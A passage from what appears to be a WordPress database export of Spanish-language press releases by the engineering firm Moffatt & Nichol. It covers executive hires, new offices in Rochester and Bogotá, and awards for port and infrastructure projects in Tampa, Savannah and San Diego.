Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-11','','','2013-10-31 17:28:54','2013-10-31 17:28:54','',1399,'http://moffattnichol.com/spanish/1399-revision-11/',0,'revision','',0),(2799,1,'2013-11-14 00:36:50','2013-11-14 00:36:50','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Jefa de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Jefa de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. \r\n\r\nPrevio a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas, Jefa de Finanzas y Directora en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este 